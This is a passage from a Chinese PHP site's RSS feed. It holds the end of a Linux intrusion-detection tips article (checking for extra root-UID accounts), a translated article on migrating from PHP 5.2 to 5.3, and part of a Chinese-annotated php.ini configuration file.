文件已经被重定向到/dev/null。这是一个致命的信息，现在就立即把你的机器从Internet上断掉，尽可能备份你的数据，并且开始重新安装系统。<br><br>　　寻找未知的用户账号<br><br>　　在你打算对你的Linux机器做一次检测的时候，首先检查是否有未知的用户账号无疑是明智的。在下一次你登录到你的Linux机器时，敲入以下的命令：<br><br>　　grep :x:0: /etc/passwd<br><br>　　只有一行，我再强调一遍，在一个标准的Linux安装里，grep命令应该只返回一行，类似以下：<br><br>　　root:x:0:0:root:/root:/bin/bash<br><br>　　假如在敲入之前的grep命令后你的系统返回的结果不止一行，那可能就有问题了。应该只有一个用户的UID为0，而如果grep命令的返回结果超过一行，那就表示不止一个用户。<br><br>　　认真来说，虽然对于发现黑客行为，以上都是一些很好的基本方法。但这些技巧本身并不能构成足够的安全性，而且其深度和广度和在文章头提到的入侵检测系统比起来也差得远。<br> ]]>
            </content:encoded>
</item>

<item>
  <title>PHP V5.3 中的新特性第 5 部分: 从 PHP V5.2 升级到 PHP V5.3</title>
  <link>http://www.phpv.net/html/1682.html</link>
  <comments>http://www.phpv.net/html/1682.html#comments</comments>
  <pubDate>Wed, 15 Apr 2009 14:07:39 +0800 GMT</pubDate>
  <dc:creator>抽烟的蚊子</dc:creator>
            <category>
            <![CDATA[ PHP5研究[新] ]]>
            </category>
  <content:encoded>
            <![CDATA[ <p>2009 年  4 月  02 日</p><blockquote>PHP V5.3 将于不久后发布。“PHP V5.3 中的新特性” 系列文章将持续介绍该发行版提供的令人兴奋的新特性。第 1 部分 介绍了 PHP 5.3 中对面向对象编程及对象处理所做的更改，第 2 部分 介绍了闭包函数及 lambda 函数。第 3 部分 探讨了名称空间，这是该 PHP 版本中最令人期待也是最具争议的特性之一。在 第 4 部分
中，我们进一步研究了 Phar，这是一种用于 PHP 的归档格式。在本系列的最后一部分中，了解从 PHP V5.2 升级到 PHP V5.3
时要考虑的一些事情。PHP V5.3 中的一些变化破坏了向后兼容性，有些特性在 PHP V5.3
中不受支持，在将来的版本中将被取消。本文还介绍 PHP V5.3 对 PHP 中一些已有特性的增强。</blockquote><!--START RESERVED FOR FUTURE USE INCLUDE FILES--><!-- include java script once we verify teams wants to use this and it will work on dbcs and cyrillic characters -->

<!--END RESERVED FOR FUTURE USE INCLUDE FILES-->
			<p><a name="N10065"><span class="atitle">简介</span></a></p>
			<p>本
系列着重介绍 PHP V5.3 中的新特性，例如名称空间、闭包、对象管理、面向对象编程和
Phar。虽然这些动人的新特性作为该语言的增补广受欢迎，但 PHP V5.3 同时也是为进一步优化 PHP 而设计的。它构建在流行、稳定的
PHP V5.2 的基础上，并对该语言作了增强，使之更加强大。在本文中，了解 PHP V5.3 中的变化，以及从 PHP V5.2 升级到
PHP V5.3 时需要考虑的一些事情。</p>
			<br><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td><img src="http://www.phpv.net/uploadfile/month_200904/local_eQbOa8NpcN.gif" alt="" width="100%" height="1"><br><img alt="" src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" border="0" width="8" height="6"></td></tr></tbody></table><table class="no-print" align="right" cellpadding="0" cellspacing="0"><tbody><tr align="right"><td><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" alt="" width="100%" height="4"><br><br></td></tr></tbody></table><br><br><p><a name="N1006E"><span class="atitle">语法变化</span></a></p>
			<p>该语言新增了名称空间和闭包，增加了更多的保留字。从 PHP V5.3 开始，<code>namespace</code> 不再用作标识符。<code>closure</code> 类现在是一个保留类，但它仍然可以作为有效的标识符。清单 1 显示了一些例子，由于新增的保留字的缘故，有些语句在 PHP V5.3 中不再有效。</p>
			<br><a name="N1008B"><b>清单 1. 无效的 PHP 语句</b></a><br><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td class="code-outline"><pre class="displaycode">				<br>// the function definition below will throw a fatal error in PHP 5.3, but is perfectly <br>// valid in 5.2<br>function namespace() <br>{<br>....<br>}<br><br>// same with this class definition<br>class Closure<br>{<br>....<br>}<br></pre></td></tr></tbody></table><br>
			<p>PHP V5.3 中还增加了对 <code>goto</code> 语句的支持。现在，<code>goto</code> 是一个保留字。<code>goto</code> 语句在现代语言中不太常见（您也许记得在 BASIC 中如何使用 goto），但是有些情况下，goto 语句的确方便。清单 2 显示了一个如何使用 goto 语句的例子。</p>
			<br><a name="N100A4"><b>清单 2. PHP 中的 <code>goto</code> 语句</b></a><br><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td class="code-outline"><pre class="displaycode">				<br>echo "This text will get outputted";<br>goto a;<br><br>echo "This text will get skipped";<br><br>a:<br>echo "This text will get outputted"; <br></pre></td></tr></tbody></table><br>
			<p><code>goto</code> 的一个可能的用例是中断深度嵌套的循环和 <code>if</code> 语句。这将使代码阅读起来清晰很多。</p>
			<br><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td><img src="http://www.phpv.net/uploadfile/month_200904/local_eQbOa8NpcN.gif" alt="" width="100%" height="1"><br><img alt="" src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" border="0" width="8" height="6"></td></tr></tbody></table><table class="no-print" align="right" cellpadding="0" cellspacing="0"><tbody><tr align="right"><td><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" alt="" width="100%" height="4"><br><br></td></tr></tbody></table><br><br><p><a name="N100B8"><span class="atitle">函数和方法的变化</span></a></p>
			<p>在 PHP V5.3 中，函数和方法没有大的变化，但还是有一些增强，以帮助解决 PHP 中的一些突出问题并提高性能。本节讨论一些较为显著的变化。</p>
			<p>在之前版本的 PHP 中，数组函数 <code>atsort</code>、<code>natcasesort</code>、<code>usort</code>、<code>uasort</code>、<code>uksort</code>、<code>array_flip</code> 和 <code>array_unique</code> 可以以参数形式传递对象而不是数组。然后，这些函数将对象的属性当做数组的键和值。PHP V5.3 中不再支持这一点，所以需要首先将对象转换成数组。清单 3 展示了如何修改代码。</p>
			<br><a name="N100E4"><b>清单 3. 为某些函数修改代码，将对象转换成数组</b></a><br><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td class="code-outline"><pre class="displaycode">				<br>$obj = new stdClass;<br>$obj-&gt;a = '1';<br>$obj-&gt;b = '2';<br>$obj-&gt;c = '3';<br><br>print_r(array_flip($obj)); // will NOT work in PHP 5.3, but will in PHP 5.2<br><br>print_r(array_flip((array) $obj)); // will work in PHP 5.3 and 5.2<br></pre></td></tr></tbody></table><br>
			<p>魔术类方法现在受到更严格的限制。下面的方法必须具有公共可见性：</p>
			<ul><li><code>__get</code></li><li><code>__set</code></li><li><code>__isset</code></li><li><code>__unset</code></li><li><code>__call</code></li></ul>
			<p>现在，当在静态上下文中使用 <code>__call</code> 时，为了应对上述变化，可以使用新的 <code>__callStatic()</code> 魔术方法。除了不接受参数的 <code>__isString()</code> 魔术方法以外，这些方法的必需参数都是强制性的，并且必须提供。清单 4 显示了如何使用这些方法以及它们的必需参数。</p>
			<br><a name="N1011C"><b>清单 4. 使用魔术方法</b></a><br><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td class="code-outline"><pre class="displaycode">				<br>class Foo<br>{<br>    public function __get($key) {} // must be public and have one parameter<br>    public function __set($key,$val) {} // must be public and have two parameters<br><br>    public function __toString() {} must be public and have no parameters<br>}<br></pre></td></tr></tbody></table><br>
			<p>在 Windows 上，有些函数之前在 PHP 中不受支持，现在在 PHP V5.3 中获得支持。例如，<code>getopt()</code> 函数用于解析从命令行调用 PHP 脚本时使用的选项。用于编码和解码 Internet 地址的 <code>inet_ntop()</code> 和 <code>inet_pton()</code> 函数，现在也可以在 Windows® 上使用。还有一些数学函数，例如 <code>asinh()</code>、<code>acosh()</code>、<code>atanh()</code>、<code>log1p()</code> 和 <code>expm1()</code>，现在在 Windows 上也受支持。</p>
			<br><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td><img src="http://www.phpv.net/uploadfile/month_200904/local_eQbOa8NpcN.gif" alt="" width="100%" height="1"><br><img alt="" src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" border="0" width="8" height="6"></td></tr></tbody></table><table class="no-print" align="right" cellpadding="0" cellspacing="0"><tbody><tr align="right"><td><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" alt="" width="100%" height="4"><br><br></td></tr></tbody></table><br><br><p><a name="N10147"><span class="atitle">扩展的变化</span></a></p>
			<p>PHP
Extension C Library（PECL）一直都是 PHP
中的新扩展的来源地。当一个扩展已经成熟和稳定，并且被认为可以成为核心发行版中一个有用的功能，那么它通常在重大的版本变更时被添加进来。根据这条规
则，从 PHP V5.3 开始，下面的扩展会成为核心 PHP 发行版中的一部分。</p>
			<dl><dt><b>FileInfo</b></dt><dd>提供帮助检测文件的内容类型和编码的函数，这些函数通过查看文件中的某些魔术字节字符序列进行检测。</dd><dt><b>intl</b></dt><dd>International Components for Unicode（ICU）库的一个包装器，提供用于 unicode 和全球化支持的函数。</dd><dt><b>Phar</b></dt><dd><a href="http://www.ibm.com/developerworks/cn/opensource/os-php-5.3new4/index.html">第 4 部分</a> 中讨论过的一个 PHP 归档工具。</dd><dt><b>mysqlnd</b></dt><dd>用于 MySQL 数据库访问的一个本地 PHP 驱动程序，是早期利用 libmysql 库的 MySQL 和 MySQLi 扩展的替代物。</dd><dt><b>SQLite3</b></dt><dd>用于使用 SQLite V3 数据库的一个库。</dd></dl>
			<p>当一个扩展不再受到积极的维护，或者被认为不值得随核心 PHP 发行版一起发行时，它通常被转移到 PECL。在 PHP V5.3 的改造过程中，下面这些扩展被踢出核心 PHP 发行版，而放在 PECL 中进行维护。</p>
			<dl><dt><b>ncurses</b></dt><dd>对 curses 的模拟，用于在命令行显示图形化的输出。</dd><dt><b>fpdf</b></dt><dd>用于在 PDF 文档中构建和使用表单和表单数据。</dd><dt><b>dbase</b></dt><dd>提供读写 dbase 兼容文件的支持。</dd><dt><b>fbsql</b></dt><dd>支持 Frontbase 数据库服务器上的数据库访问。</dd><dt><b>ming</b></dt><dd>一个开源库，用于创建 Flash 4 动画。</dd></dl>
			<p>Sybase
扩展已经被完全移除，取而代之的是 sybase_ct 扩展。sybase_ct 扩展与前者完全兼容，应该是一个简易替代者（drop-in
replacement）。这个更新的功能将使用 Sybase client 库，需要将这些库安装在 Web 服务器上。</p>
			<br><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td><img src="http://www.phpv.net/uploadfile/month_200904/local_eQbOa8NpcN.gif" alt="" width="100%" height="1"><br><img alt="" src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" border="0" width="8" height="6"></td></tr></tbody></table><table class="no-print" align="right" cellpadding="0" cellspacing="0"><tbody><tr align="right"><td><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" alt="" width="100%" height="4"><br><br></td></tr></tbody></table><br><br><p><a name="N1019B"><span class="atitle">构建的变化</span></a></p>
			<p>PHP
V5.3 着重改善了构建过程，因此更容易在所有平台上构建 PHP。为了维护 PHP 构建之间的一致性，并提供一组可靠的组件，在构建中不再禁用
PCRE、Reflection 和 SPL 扩展。现在，可以构建可分发的 PHP 应用程序，它们将使用这些扩展并且保证这些扩展是可用的。</p>
			<p>一
个新的团队在去年接管了 PHP Windows 构建。这个小组将为 Windows 上的用户提供一些改进。新的构建将以 586
架构（Intel® Pentium® 或更高型号）为目标，并要求 Windows 2000/XP 或更高版本，另外去掉了对 Windows
98/NT 及之前版本的支持。将构建使用 Microsoft® Visual Studio® 2008 构建的 PHP 构建和针对
x86-64 架构的构建。当和 Microsoft IIS Web 服务器上的 FastCGI 或者和 Apache
一起使用时，在使用相同的编译器和架构进行构建的情况下，它们可以提供更高的性能。Windows 安装程序也将有所改进，以便更好地在
Microsoft IIS Web 服务器上配置 PHP。该团队专门为 Windows 上的 PHP 建立了一个网站（参见 <a href="http://www.ibm.com/developerworks/cn/opensource/os-php-5.3new5/?ca=drs-tp4608#resources">参考资料</a>）。</p>
			<br><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td><img src="http://www.phpv.net/uploadfile/month_200904/local_eQbOa8NpcN.gif" alt="" width="100%" height="1"><br><img alt="" src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" border="0" width="8" height="6"></td></tr></tbody></table><table class="no-print" align="right" cellpadding="0" cellspacing="0"><tbody><tr align="right"><td><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" alt="" width="100%" height="4"><br><br></td></tr></tbody></table><br><br><p><a name="N101B3"><span class="atitle">.ini 的变化</span></a></p>
			<p>PHP 的一个重要特性是，可以使用 .ini 文件配置它的行为。在 PHP V5.3 中，与这个文件有关的一些有问题的指令已经被删除，例如  zend.ze1_compatibility_mode。现在，在使用这个文件时，灵活性有了巨大的提高。</p>
			<p>对于 php.ini 文件有两个重大的改进：</p>
			<ul><li>在 php.ini 文件中可以使用变量。这对于减少该文件的冗余非常方便，必要时更新文件也更加方便。清单 5 显示了一个例子。        
        <br><br><a name="N101C7"><b>清单 5. php.ini 文件中的变量</b></a><br><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td class="code-outline"><pre class="displaycode">						 <br>foo = bar <br><br>[section] <br>newfoo = ${bar} <br></pre></td></tr></tbody></table><br>
					<i>foo</i> 和 <i>newfoo</i> 有相同的值。</li><li>和用 Apache 配置文件进行设置一样，可以进行 per-directory 和 per-site PHP ini 设置。这样做的优点是，在所有不同的可运行 PHP 的 SAPI 中，语法都是一致的。清单 6 显示了如何进行 PHP ini 设置。
   <br><br><a name="N101DA"><b>清单 6. per-site 和 per-directory .ini 设置</b></a><br><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td class="code-outline"><pre class="displaycode">						<br>[PATH=/var/www/site1] <br><br>; directives here only apply to PHP files in the /var/www/site1 directory <br><br>[HOST=www.example.com] <br><br>; directives here only apply to PHP files requested from the www.example.com site.<br>      </pre></td></tr></tbody></table><br>
				</li></ul>
			<p>还
可以像对待 Apache HTTP Web 服务器上的 .htaccess 文件一样，在用户指定的、位于文件系统的 .ini 文件中创建这些
.ini 指令。这个文件的默认文件名由 user_ini.filename 指令指定。通过将这条指令设置为空值，可以禁用该特性。在用户指定的
.ini 文件中，任何 per-site 和 per-directory 指令都不能被覆盖。</p>
			<br><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td><img src="http://www.phpv.net/uploadfile/month_200904/local_eQbOa8NpcN.gif" alt="" width="100%" height="1"><br><img alt="" src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" border="0" width="8" height="6"></td></tr></tbody></table><table class="no-print" align="right" cellpadding="0" cellspacing="0"><tbody><tr align="right"><td><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" alt="" width="100%" height="4"><br><br></td></tr></tbody></table><br><br><p><a name="N101E5"><span class="atitle">放弃的特性</span></a></p>
			<p>PHP V5.3 开始正式放弃一些较旧的函数，将来版本的 PHP 中将不再提供它们。当使用这些函数时，会遇到 <code>E_DEPRECATED</code> 错误。以下函数在 PHP V5.3 中被遗弃：</p>
			<ul><li>tick（<code>declare(ticks=N)</code> 和 <code>register_tick_function()</code>），之前用于在 <code>declare()</code> 块中当解析器每执行 <i>n</i> 条语句时就进行一个函数调用。它们将被废除，因为它们的函数中有很多的中断，而且该特性不大常用。</li><li><code>define_syslog_variables()</code>，该函数初始化所有与 syslog 相关的变量。该函数不是必需的，因为它定义的常量已经被全局定义。废除这个函数调用应该是有必要的。</li><li><code>ereg</code> 正则表达式函数。建议使用 PCRE 正则表达式函数替代，因为它们更快，并且与其他语言和应用程序中使用的正则表达式更加一致。对 <code>ereg</code> 函数的支持将被废除，以使 PHP 可以标准化地使用一个正则表达式引擎。</li></ul>
			<p>建议在迁移到 PHP V5.3 时移除这些特性。将来主要的 PHP 发行版将取消对上述特性的支持。</p>
			<br><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td><img src="http://www.phpv.net/uploadfile/month_200904/local_eQbOa8NpcN.gif" alt="" width="100%" height="1"><br><img alt="" src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" border="0" width="8" height="6"></td></tr></tbody></table><table class="no-print" align="right" cellpadding="0" cellspacing="0"><tbody><tr align="right"><td><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" alt="" width="100%" height="4"><br><br></td></tr></tbody></table><br><br><p><a name="N1021A"><span class="atitle">结束语</span></a></p>
			<p>PHP V5.3 有很多新的特性，同时也 “清除” 了一些内容。另外也存在一些向后兼容的问题。本文为将 Web 应用程序迁移到 PHP V5.3 提供了一些指南。要了解最新的关于 PHP V5.3 的详细信息，请参阅 <a href="http://www.ibm.com/developerworks/cn/opensource/os-php-5.3new5/?ca=drs-tp4608#resources">PHP
wiki</a>，其中提供了可能影响到应用程序的任何其他变化的说明。</p> ]]>
            </content:encoded>
</item>

<item>
  <title>PHP.ini配置文件中文</title>
  <link>http://www.phpv.net/html/1680.html</link>
  <comments>http://www.phpv.net/html/1680.html#comments</comments>
  <pubDate>Thu, 26 Mar 2009 09:17:35 +0800 GMT</pubDate>
  <dc:creator>抽烟的蚊子</dc:creator>
            <category>
            <![CDATA[ PHP安装配置 ]]>
            </category>
  <content:encoded>
            <![CDATA[ ;;;;;;;;;;;<br>; 警告 ;<br>;;;;;;;;;;;<br>; 此配置文件是对于新安装的PHP的默认设置.<br>; 默认情况下,PHP使用此配置文件安装<br>; 此配置针对开发目的,并且*不是*针对生产环境<br>; 基于一些安全方面的考虑,在你的网站上线之前,请考虑使用php.ini-recommended<br>; 以及在线文档 http://php.net/manual/en/security.php.<br><br><br>;;;;;;;;;;;;;;;;;;;<br>; 关于 php.ini&nbsp; &nbsp;;<br>;;;;;;;;;;;;;;;;;;;<br>; 此文件控制了PHP行为的很多方面.&nbsp; 为了让PHP能够读取它<br>; 必须命名为 'php.ini'.&nbsp; PHP 在其当前工作目录,由PHPRC环境变量指定目录<br>; 以及由编译时指定的目录(按此顺序)查找此文件<br>; 在Windows环境下, 编译时目录是Windows目录.<br>; 在命令行模式下查找php.ini的目录可以被-c参数覆盖.<br>;<br>; 此文件的语法非常简单.<br>; 空行和由分号开始的行会被忽略(你可能已经猜到了).<br>; 段的开头(例如 [Foo]) 同样会被悄悄忽略<br>; 即使在将来他们可能会有其他作用.<br>;<br>; 使用以下语法来设定指令:<br>; directive = value<br>; 指令 = 值<br>; 指令名称是 *大小写敏感* - foo=bar 和 FOO=bar 是不同的.<br>;<br>; 值可以是字符串,数值,PHP常量 (例如 E_ALL 和 M_PI), <br>; INI 常量 (On, Off, True, False, Yes, No 和 None) 或者一个表达式<br>; (例如 E_ALL &amp; ~E_NOTICE), 或者带引号的字串 ("foo").<br>;<br>; 在INI文件中的表达式只能使用逻辑运算和圆括号:<br>; |&nbsp; &nbsp; &nbsp; &nbsp; 逻辑或<br>; &amp;&nbsp; &nbsp; &nbsp; &nbsp;逻辑与<br>; ~&nbsp; &nbsp; &nbsp; &nbsp;逻辑非<br>; !&nbsp; &nbsp; &nbsp; &nbsp; 取反<br>;<br>; 逻辑标志可以使用1,On,True或者Yes来打开.<br>; 也可以使用0, Off, False 或者 No来关闭.<br>;<br>; 在等号后面不写任何内容代表了一个空字符串<br>; 或者使用 None 关键词:<br>;<br>;&nbsp; foo =&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 将foo设置成一个空字串<br>;&nbsp; foo = none&nbsp; &nbsp; ; 将foo设置成一个空字串<br>;&nbsp; foo = "none"&nbsp; ; 将foo设置成字串 'none'<br>;<br>; 如果你在值中使用了常量, 并且这个常量属于一个动态加载的扩展模块<br>; (不论是PHP扩展还是Zend扩展),<br>; 那你只能在加载这些扩展 *之后* 使用这些常量.<br>;<br>;<br>;;;;;;;;;;;;;;;;;;;<br>; 关于这个文件&nbsp; ;<br>;;;;;;;;;;;;;;;;;;;<br>; 在php.ini-dist 文件中所有的值都相当于内建的默认值<br>; (就是如果没有使用php.ini, 或者如果你删除了这些行,<br>; 就和内建的默认值一样).<br><br><br>;;;;;;;;;;;;;;;;;;;;<br>; 语言选项 ;<br>;;;;;;;;;;;;;;;;;;;;<br><br>; 打开在Apache下的PHP脚本语言引擎<br>engine = On<br><br>; 打开Zend Engine兼容模式(PHP 4.x)<br>zend.ze1_compatibility_mode = Off<br><br>; 允许 &lt;? 标签.&nbsp; 否则,只有 &lt;?php 和 &lt;script&gt; 标签被认为是PHP脚本.<br>; 注意: 尽可能避免在开发可重新发布的程序或者库的时候使用简略标签,或者在不受你控制的服务器下发布,<br>; 因为简略标签可能不被目标服务器支持.为了可移植性, 可重新发布的代码, 请不要使用简略标签<br>short_open_tag = On<br><br>; 使用ASP风格 &lt;% %&gt; 标签.<br>asp_tags = Off<br><br>; 浮点数中数值的有效位数(浮点数精度).<br>precision&nbsp; &nbsp; =&nbsp; 12<br><br>; 强制2000年兼容 (可能引起不兼容浏览器的问题)<br>y2k_compliance = On<br><br>; 输出缓冲允许在你发送了body内容之后发送header(包括 cookies) <br>; 代价是稍稍减缓了PHP输出层<br>; 你可以在运行时调用 output buffering 函数来打开此功能<br>; 你也可以将此指令设置为On来对所有文件打开输出缓冲<br>; 如果你想将这个缓冲区限制到特定大小 - 你可以使用最大的字节数来代替'On',来作为这个指令的参数 (例如 output_buffering=4096).<br>output_buffering = Off<br><br>; 你可以将所有你脚本输出的内容重定向到指定函数.&nbsp; <br>; 例如, 如果你设置 output_handler 到 "mb_output_handler", <br>; 字符编码会被转换成为指定的编码..<br>; 设置任何的输出处理句柄会自动打开输出缓冲.<br>; 注意: 如果想编写可移植脚本就不要依赖此INI配置<br>;&nbsp; &nbsp; &nbsp; &nbsp;取而代之的是, 明确的使用 ob_start() 来设置输出处理句柄.<br>;&nbsp; &nbsp; &nbsp; &nbsp;使用此ini指令可能引起问题,除非你很清楚的理解脚本正在做什么.<br>; 注意: 你不能同时使用 "mb_output_handler" 和 "ob_iconv_handler"<br>;&nbsp; &nbsp; &nbsp; &nbsp;并且你不能同时使用 "ob_gzhandler" 和 "zlib.output_compression".<br>; 注意: 如果使用zlib.output_handler指令开启zlib输出压缩, 该指令必须为空.<br>;output_handler =<br><br>; 使用zlib库对输出进行压缩<br>; 对此选项的有效值是 'off', 'on', 或者字节数 (用来压缩的缓冲大小 , 默认是 4KB)<br>; 注意: 结果的chunk大小可能由于压缩对象的大小而不同.<br>;&nbsp; &nbsp; &nbsp; &nbsp;PHP输出块的大小一般压缩之后每个大小时几百个字节.<br>;&nbsp; &nbsp; &nbsp; &nbsp;如果你希望藉由一个大块的堆大小来获取更好的性能, 需要额外的打开 output_buffering 选项.<br>; 注意: 你必须使用 zlib.output_handler 来替代标准的<br>;&nbsp; &nbsp; &nbsp; &nbsp;output_handler, 否则输出可能会有问题.<br>zlib.output_compression = Off<br>;zlib.output_compression_level = -1<br><br>; 这里激活 zlib.output_compression 之后,你无法再指定额外的输出处理.<br>; 这个设置和 output_handler 一样,但是处理顺序不同.<br>;zlib.output_handler =<br><br>; 立即刷新告知 PHP 让输出层在每次输出块之后立刻自动刷新.<br>; 这和每次调用print()或者echo()函数以及任何一种HTML块后调用flush()一样. <br>; 打开此选项会严重导致性能下降,一般只有用于调试情况下才建议打开.<br>implicit_flush = Off<br><br>; 如果反序列器找到一个可以作为示例的未定义类.未序列化的回调函数会被调用(使用未定义的类名作为参数), <br>; 如果特定的函数未被定义或者如果此函数没有包含/实现丢失的类,则会发生一个警告. <br>; 如果只有你真想要实现类似的回调函数,才设定此入口.<br>unserialize_callback_func=<br><br>; 当浮点和双精度被序列化后,浮点号后由 serialize_precision 指定存储精确度的有效位数. <br>; 默认值是当浮点数被反序列解码后,数值仍旧相同.<br>serialize_precision = 100<br><br>; 是否打开强制通过引用传递参数给函数<br>; 此方法被反对并且很有可能在未来版本的PHP/Zend中不再被支持.<br>; 被孤立的指定的方法是参数应该在函数被声明的时候按照引用传入.<br>; 你被鼓励来尝试上述方法并关闭此选项来确保你脚本在今后的新版本中仍旧可以正常工作 ( 每次你使用此特性的时候会受到一个警告<br>; 并且参数会传值而不是传引用).<br>allow_call_time_pass_reference = On<br><br>;<br>; 安全模式<br>;<br>safe_mode = Off<br><br>; 默认情况下,安全模式在打开文件时,使用UID来比对检测.<br>; 如果你只想使用GID做宽松的比对,<br>; 打开 safe_mode_gid.<br>safe_mode_gid = Off<br><br>; 当 safe_mode 被打开, 此目录下包含的文件和子文件夹的UID/GID 检测会被绕过.<br>; (目录必须在 include_path 中存在或者必须在包含时使用全路径)<br>safe_mode_include_dir =<br><br>; 当 safe_mode 被打开, 只有在 safe_mode_exec_dir 中定义的可执行文件能够通过exec函数组打开执行.<br>safe_mode_exec_dir =<br><br>; 设定某些的环境变量可能成为潜在的安全隐患.<br>; 此指令包含一个逗号分隔的前导列表. <br>; 在安全模式中, 用户可能只能改变符合这里所给出前导字符的变量. <br>; 默认情况下,用户只能改变以PHP_开头的变量(例如. PHP_FOO=BAR).<br>;<br>; 注意:&nbsp; 如果此指令为空, PHP会允许用户修改任何环境变量!<br>safe_mode_allowed_env_vars = PHP_<br><br>; 此指令包含了一个用逗号分隔的环境变量列表, 用户无法通过 putenv() 函数来修改列表中的环境变量.<br>; 这些变量即便已经在 safe_mode_allowed_env_vars 所设定的列表中,也会被被保护不允许修改.<br>safe_mode_protected_env_vars = LD_LIBRARY_PATH<br><br>; 如果设置了open_basedir, 将会限制文件操作只能是此指令下的目录和子目录. <br>; 此指令对于每目录或者每虚拟主机配置文件最有意义. 此指令* 不会 *受安全模式开或者关的影响.<br>;open_basedir =<br><br>; 此指令允许你为了安全原因关闭指定的函数.<br>; 它接受以逗号分隔的函数名的列表.<br>; 此指令* 不会 *受安全模式开或者关的影响.<br>disable_functions =<br><br>; 此指令允许你由于安全原因关闭指定的类.<br>; 它接受以逗号分隔的类名的列表.<br>; 此指令* 不会 *受安全模式开或者关的影响.<br>disable_classes =<br><br>; 语法高亮模式的色彩. 任何在 &lt;span style="color: ???????"&gt; 中可接受的值都可以使用.<br>;highlight.string&nbsp; = #DD0000<br>;highlight.comment = #FF9900<br>;highlight.keyword = #007700<br>;highlight.bg&nbsp; &nbsp; &nbsp; = #FFFFFF<br>;highlight.default = #0000BB<br>;highlight.html&nbsp; &nbsp; = #000000<br><br>; 如果打开, 即便用户放弃了的请求也会被执行完成. <br>; 在执行可能被用户打断或者浏览器超时所中断的请求时打开此选项.<br>; ignore_user_abort = On<br><br>; 指定PHP使用的实际路径的缓冲. 对于PHP打开很多文件来处理很多文件操作的系统上,应该增加此值.<br>; realpath_cache_size=16k<br><br>; 对于给定文件或者目录的缓冲真实路径信息的缓冲保留秒数. 对于很少修改文件的系统可以考虑增加此值.<br>; realpath_cache_ttl=120<br><br>;<br>; 其他<br>;<br>; 考虑到PHP可能被其所安装的服务器上暴露的事实(例如. 被web服务器作为头部信息的签名). <br>; 任何情况下这虽然不是安全威胁, 仍有可能暴露在你的服务器上是否正在使用PHP.<br>expose_php = On<br><br><br>;;;;;;;;;;;;;;;;;;;<br>; 资源限制 ;<br>;;;;;;;;;;;;;;;;;;;<br><br>; 每个脚本最大执行秒数<br>max_execution_time = 30<br>; 每个脚本用来分析请求数据的最大时间<br>max_input_time = 60<br>; 最大输入变量的嵌套级别<br>;max_input_nesting_level = 64<br>; 每个脚本能够使用的最大内存数量 (128MB)<br>memory_limit = 128M <br><br><br>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<br>; 错误处理和记录 ;<br>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<br><br>; 错误报告时一个位. 对每一个数值取或可以得到最终的报告级别<br>; E_ALL&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;- 所有错误和警告 (不包含 E_STRICT)<br>; E_ERROR&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;- 致命的运行时错误<br>; E_RECOVERABLE_ERROR&nbsp; - 几乎致命的运行时错误<br>; E_WARNING&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;- 运行时警告 (非致命错误)<br>; E_PARSE&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;- 编译时语法错误<br>; E_NOTICE&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - 运行时提醒 (这些警告常常由你代码中的bug导致, 但是也有可能是有意的行为 (例如, 使用一个未初始化的变量并依赖于其会被自动初始化成为一个空字符串的事实)<br>; E_STRICT&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - 运行时提醒, 打开后PHP会给出针对你代码的最易移植和最好向后兼容性的建议<br>; E_CORE_ERROR&nbsp; &nbsp; &nbsp; - PHP初始化启动时的致命错误<br>; E_CORE_WARNING&nbsp; &nbsp; - 在PHP初始化时发生的警告 (非致命错误) <br>; E_COMPILE_ERROR&nbsp; &nbsp;- 致命的编译时错误<br>; E_COMPILE_WARNING - 编译时警告 (非致命)<br>; E_USER_ERROR&nbsp; &nbsp; &nbsp; - 用户产生的错误信息<br>; E_USER_WARNING&nbsp; &nbsp; - 用户产生的警告信息<br>; E_USER_NOTICE&nbsp; &nbsp; &nbsp;- 用户产生的提示信息<br>;<br>;例子:<br>;<br>;&nbsp; &nbsp;- 显示所有错误, 除了提示以及代码标准警告以外<br>;<br>;error_reporting = E_ALL &amp; ~E_NOTICE<br>;<br>;&nbsp; &nbsp;- 显示所有错误,除了提示以外<br>;<br>;error_reporting = E_ALL &amp; ~E_NOTICE | E_STRICT<br>;<br>;&nbsp; &nbsp;- 只显示错误<br>;<br>;error_reporting = 